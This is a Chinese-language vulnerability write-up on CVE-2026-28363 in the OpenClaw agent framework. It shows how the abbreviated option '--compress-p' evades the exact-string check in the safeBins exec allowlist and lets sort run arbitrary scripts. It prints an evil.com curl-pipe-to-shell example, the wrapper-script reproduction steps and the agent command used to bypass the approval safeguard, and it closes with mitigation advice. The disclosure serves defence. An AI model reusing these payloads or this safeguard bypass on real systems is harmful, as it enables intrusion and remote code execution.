作者:星云实验室 浦明
关键词:Agentic AI 安全;OpenClaw 漏洞;CVE-2026-28363;命令注入 RCE;POSIX 绕过
摘要
本文剖析 OpenClaw 在调用系统工具链时面临的安全校验失效风险,并以 CVE-2026-28363 授权绕过与命令注入漏洞为切入点,进行实战复盘与防御体系构建。文章首先论证了在 Agentic AI 频繁调用宿主机二进制文件的场景下,实施底层参数解析一致性审计的必要性。随后,针对攻击路径的隐蔽性,本文解释了攻击者如何利用 POSIX 长选项缩写特性绕过 OpenClaw 的 safeBins 安全白名单限制,完成从诱导触发到自动化 RCE 的完整攻击链路。
本文目的为安全从业者提供一套从威胁认知、漏洞复现到体系化防御的完整方法论,在提升 AI 生产力的同时,构建底层可信的执行生态。
注:本文只用作安全研究学习使用,请勿将相关技术用于任何未经授权的非法测试。
一、利用参数缩写绕过 OpenClaw 防御
在上一篇《OpenClaw 安全实战系列(一):突破信任边界 — Agent Skill 供应链投毒路径重现及自动化靶标建设》中,我们深入复盘了攻击者如何利用提示词注入操控 LLM 的决策逻辑。如果说提示词注入是瞄准了 AI 的"核心大脑”,通过逻辑欺骗使其产生恶意意图,那么本篇我们要讨论的则是如何防范 AI 的"手脚"在执行过程中被诱导失控。
OpenClaw 在执行侧为防止 AI 被诱导执行危险指令,设置了一道基于关键词过滤的安全防线。例如,系统明确禁止在 sort 命令中使用 --compress-program 参数,以拦截通过外部脚本触发的远程代码执行。
然而,这道防线存在严重的语义盲区:OpenClaw 的检查机制过度依赖于对参数全称的硬匹配,却忽略了底层 Linux 环境中命令支持长选项缩写的特性。根据惯例,只要缩写是唯一的,--compress-p 就会被系统自动补全并识别为 --compress-program。
攻击者正是利用这种解析不一致性,通过提交模糊处理后的缩写指令,巧妙地绕过了 OpenClaw 的静态字符串扫描,最终在受控环境下成功诱导 Agent 执行了恶意挂载脚本。
二、CVE-2026-28363 漏洞深度剖析
2.1 核心机制拆解:什么是 safeBins
safeBins 是 OpenClaw 中的一种轻量级沙箱容器。它利用了类似于容器化但更细粒度的隔离技术,将不同的任务、插件或 AI 执行逻辑限制在一个受控的运行环境中。
safeBins 这个词可以分为两个部分:
- Safe:强调环境是隔离的,代码无法随意访问宿主机的敏感资源,如环境变量、私钥、本地文件系统。
- Bins:借鉴了 Linux 系统中
/bin的概念,代表这里存放的是可执行的逻辑单元。
2.1.1 safeBins 作用
核心作用是限制 OpenClaw 只能直接运行列表中的二进制文件,并对这些文件的参数进行审计:
- 隔离高危操作:防止模型执行如
rm -rf /或nc反弹 shell 等高危指令。 - 自动化与安全的平衡:对于列表内的安全命令,OpenClaw 可以执行;对于列表外的指令,则必须触发人工审批。
2.1.2 safeBins 配置示例
safeBins 并非独立存在,而是 exec(执行审批)配置项下的一个核心子项。exec 模块专门负责定义 OpenClaw 智能体在与宿主机系统交互、执行系统级命令时的安全审批逻辑。详细的校验逻辑与参数说明可参考官方文档 [1]。
举例说明:假设我们需要为一个专门负责"日志分析"的智能体配置权限,其 OpenClaw 配置中需加入以下代码片段:
"exec": {
"host": "gateway",
"security": "allowlist",
"ask": "on-miss",
"safeBins": ["sort", "ls", "cat", "grep"]
}
各字段含义:
host:指定命令执行的目标主机名或网关标识security: "allowlist":白名单模式,只有明确列出的命令才被视为"安全”ask: "on-miss":命令在safeBins列表中则直接执行;不在列表中则暂停并弹窗询问用户是否授权safeBins:经过安全评估、允许智能体直接调用的二进制工具或命令列表
该配置的实际含义:允许智能体在 gateway 目标机上无需用户干预地使用基础文本处理工具,但除此之外的任何高风险操作(如删除文件、修改配置)都必须等待人工审批。
2.1.3 safeBins 边界情况说明
情况 A:未配置 exec 项
如果 openclaw.json 中完全缺失 exec 配置,智能体通常可以默认使用任何系统调用工具。
未配置 exec 前提下删除 /tmp 目录某文件时,可以看到 OpenClaw 可直接执行 rm 系统命令:
情况 B:配置了 host、security、ask 但未配置 safeBins
这种情况下,安全框架虽然已经搭建,但白名单为空。智能体尝试调用的每一个系统命令,即使是像 ls 这样无害的命令都会触发一次用户询问弹窗。
"exec": {
"host": "gateway",
"security": "allowlist",
"ask": "on-miss"
}
可以看到 OpenClaw 再执行删除命令时因为安全策略限制,需要审批操作才可执行:
2.2 绕过准入:当 safeBins 沦为 RCE 的跳板
虽然 safeBins 限制了命令种类,但如果 OpenClaw 的参数审计层无法完全理解底层工具的解析逻辑,安全防线就会崩溃。
2.2.1 危险的参数:–compress-program 是什么
在 GNU sort 命令中,当处理超大数据集时,系统会产生大量临时文件。为了节省磁盘空间或提高 I/O 效率,sort 提供了 --compress-program 选项,其定义为指定一个外部可执行程序来压缩/解压临时文件(例如 gzip)。
其安全风险在于,该选项本质上是一个代码执行入口。如果攻击者能控制这个参数,就可以让 sort 调用任何恶意脚本:
sort --compress-program=curl http://evil.com/shell.sh | sh
OpenClaw 的防护策略:由于 sort 是常用工具,通常会被放入 safeBins。因此,OpenClaw 的审计层会专门盯防这个参数,一旦发现命令行中包含 --compress-program,就会立即拦截。
2.2.2 漏洞根源:POSIX 长选项缩写特性
导致 CVE-2026-28363 的根本原因在于审计层与底层二进制工具对参数解析规则的认知不对等。
底层特性:唯一前缀匹配
大部分基于 GNU getopt_long 库开发的 Linux 命令(如 sort、ls、grep)都支持 POSIX 长选项缩写:只要提供的缩写在所有选项中是唯一的,工具就能识别它。
对于 sort 来说,以 --compress 开头的选项通常只有 --compress-program,因此:
--compress-p✅ 合法--compress-pro✅ 合法- 底层
sort会自动将它们展开并识别为危险的执行指令
审计层的缺陷:精确匹配
OpenClaw 的审计层(在漏洞修复前)使用了基于关键词的字符串扫描:
// 仅检查精确字符串,无法识别缩写
if (arg === "--compress-program") block();
它并不理解底层 GNU 工具的缩写展开逻辑,因此 --compress-p 可以顺利通过审计。
2.2.3 矛盾触发:场景模拟
场景介绍
下图展示攻击者利用 POSIX 长选项缩写绕过 OpenClaw 参数审计层的精确字符串匹配逻辑,最终在宿主机触发远程代码执行的漏洞利用过程。
靶标构建
受影响版本为 OpenClaw ≤ 2026.2.22-2。在实验环境中,我们配置了 OpenClaw 的权限控制列表,允许执行 sort 命令,意图利用其文件排序功能,但未预料到子参数的风险。
复现过程
第一步:绕过 OpenClaw 审计校验
攻击者利用缩写特性构造 Payload,审计规则只封堵了完整字符串,未覆盖缩写形式:
预期拦截:sort --compress-program=/tmp/check.sh
实际输入:sort --compress-p=/tmp/check.sh ← 绕过审计
第二步:Payload 兼容处理
由于 sort 在调用 --compress-program 指定的程序时会自动在末尾附加 -d 参数(用于解压),直接执行二进制会因非法参数报错。因此需要编写一个包装脚本:
# 准备恶意脚本 /tmp/check.sh
echo -e '#!/bin/sh\necho "--- Pwned by NSFOCUS ---"\nid\nexit 0' > /tmp/check.sh
chmod +x /tmp/check.sh
第三步:通过 OpenClaw Agent 发送构造指令
审计层扫描到 sort 在 safeBins 中,且未发现违禁词 --compress-program,遂放行:
openclaw agent --agent main --message "执行:sort -S 1 --compress-p=/tmp/check.sh /etc/passwd"
结果验证
执行过后可看出 RCE 成功:
2.3 体系化防护建议
2.3.1 版本升级与补丁管理
若版本低于或等于 2026.2.22-2,应立即升级至 OpenClaw latest 版本。新版本已重构了参数审计引擎,引入了全量参数规范化逻辑。
无法立即升级的环境中,建议在 openclaw.json 的 safeBins 配置中暂时移除 sort 等具有执行外部程序能力的工具,或通过预处理脚本强制拦截所有包含 --comp 字符串的指令。
2.3.2 参数解析一致性加固
安全审计层不应直接对原始字符串进行匹配,而应先通过参数解析库将所有缩写还原为全称,消除语义歧义。同时,改变黑名单过滤危险参数的思路,转为白名单允许安全参数:对于 sort 命令,仅允许 -k、-n、-r 等纯排序参数,严禁任何涉及文件写入或程序调用的扩展参数。
2.3.3 零信任沙箱环境
建议将 OpenClaw 的执行环境放置在 MicroVM 中。即便攻击者利用 safeBins 中的工具实现了绕过,其破坏范围也被严格锁定在微型虚拟机内部,无法触及宿主机的 API Key 或全局文件系统。
三、总结
保障 Agentic AI 的安全,不仅要靠 safeBins 这种准入机制,更需要审计工具执行时的每一个子参数。CVE-2026-28363 提醒我们:语义的一致性才是防御的基石。目前,我们已将该漏洞的自动化检测脚本集成于云上 AI 靶场,旨在帮助开发者快速识别此类隐蔽的参数绕过风险。我们将持续追踪 Agentic AI 领域的安全威胁,不断丰富攻防场景,构建更智能、更坚固的 AI 安全防护体系。
四、绿盟云上 AI 靶场创新方案
绿盟科技星云实验室基于云靶场构建面向 AI 场景的创新方案,该方案引入多类威胁模型,构建了覆盖实战攻防全链路的靶场环境,重点呈现三大核心场景:
AI 系统对外部环境的威胁场景:靶场重点还原大模型被纳入系统后,其输出结果被自动采信并直接作用于外部环境(本地终端与开发机、浏览器与 IDE、云原生基础设施等)所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷,而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。
外部环境对 AI 系统威胁场景:靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出,而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限,从运行环境、权限体系与数据上下文等多个层面,直接接管或长期影响大模型的行为。
AI 系统自身的内生安全风险场景:如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。
五、参考文献
[1] OpenClaw Exec Approvals Documentation. https://docs.OpenClaw.ai/tools/exec-approvals
「真诚赞赏,手留余香」
真诚赞赏,手留余香